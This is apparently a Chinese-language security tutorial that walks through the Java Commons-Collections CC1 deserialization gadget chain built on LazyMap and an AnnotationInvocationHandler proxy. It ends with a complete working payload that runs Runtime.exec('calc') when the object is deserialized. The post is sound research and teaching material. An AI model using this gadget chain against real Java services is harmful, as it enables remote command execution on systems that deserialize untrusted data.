天天看點

Java代碼審計-CC1 LazyMap Chains

Java代碼審計-CC1 LazyMap Chains

lazyMap chains

LazyMap 和 TransformedMap 類似,都來自于 Common-Collections 庫,并繼承 AbstractMapDecorator

LazyMap 的觸發點和 TransformedMap 唯一的差别是,TransformedMap 是在寫入元素的時候執行 transform,而 LazyMap 是在其 get 方法中執行的 factory.transform 。其實這也好了解,LazyMap 的作用是“懶加載”,在 get 找不到值的時候,它會調用 factory.transform 方法去擷取一個值

Java代碼審計-CC1 LazyMap Chains

圖源:​​Java反序列化CommonsCollections篇​​

之前分析的 cc1 的鍊使用的是 TransformedMap 下的 checkSetValue 方法,但是還有其他利用鍊,本次就分析 LazyMap 下的 get 方法調用 factory.transform 方法,也是 ysoserial 中使用的方法

Java代碼審計-CC1 LazyMap Chains

get 方法

Java代碼審計-CC1 LazyMap Chains

整條鍊的入口點還是在 sun.reflect.annotation.AnnotationInvocationHandler 的 readObject 方法,在檔案中發現 membersValues.get 方法參數可控,invoke 方法在對象代理是會被觸發,如果将這個對象用 Proxy 進行代理,那麼在 readObject 的時候,隻要調用任意方法,就會進入到 AnnotationInvocationHandler#invoke 方法中,進而觸發的 LazyMap#get

Java代碼審計-CC1 LazyMap Chains

源碼有點問題,應該為下圖,在 invoke 中判斷了 var5 即 paramTypes 長度等于 0,也就是說需要使用無參方法

Java代碼審計-CC1 LazyMap Chains

而 readObject 中的 entrySet 方法就是一個無參方法

for (Map.Entry<String, Object> memberValue : memberValues.entrySet())      

前邊提到了 invoke 是在對象代理時觸發,Java 作為一門靜态語言,要實作類似 PHP 中魔術方法 __call,就需要用到 java.reflect.Proxy

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);      

第一個參數時 ClassLoader,預設即可,第二個參數時代理的對象集合,第三個參數是實作了 InvocationHandler 接口的對象,裡面包含了具體的邏輯

動态代理類 Proxy 實作了 serializable,所有對象代理都實作了 Proxy,是以可以序列化

構造 payload

根據之前的 payload 做一個修改,首先使用 LazyMap 替換 TransformedMap:

Map outerMap = LazyMap.decorate(innerMap, transformerChain);      

然後對 sun.reflect.annotation.AnnotationInvocationHandler 對象進行 Proxy

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);      

但是這裡依然不能直接對其反序列化,入口點是:sun.reflect.annotation.AnnotationInvocationHandler#readObject ,是以我們還需要再用

AnnotationInvocationHandler 對這個 proxyMap 進行包裹

handler = (InvocationHandler) construct.newInstance(Retention.class,
proxyMap);      

最終完整 payload

public class test {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),};

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
        
        serialize(handler);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}      

調試執行時可以看到,transform 的參數,最終執行指令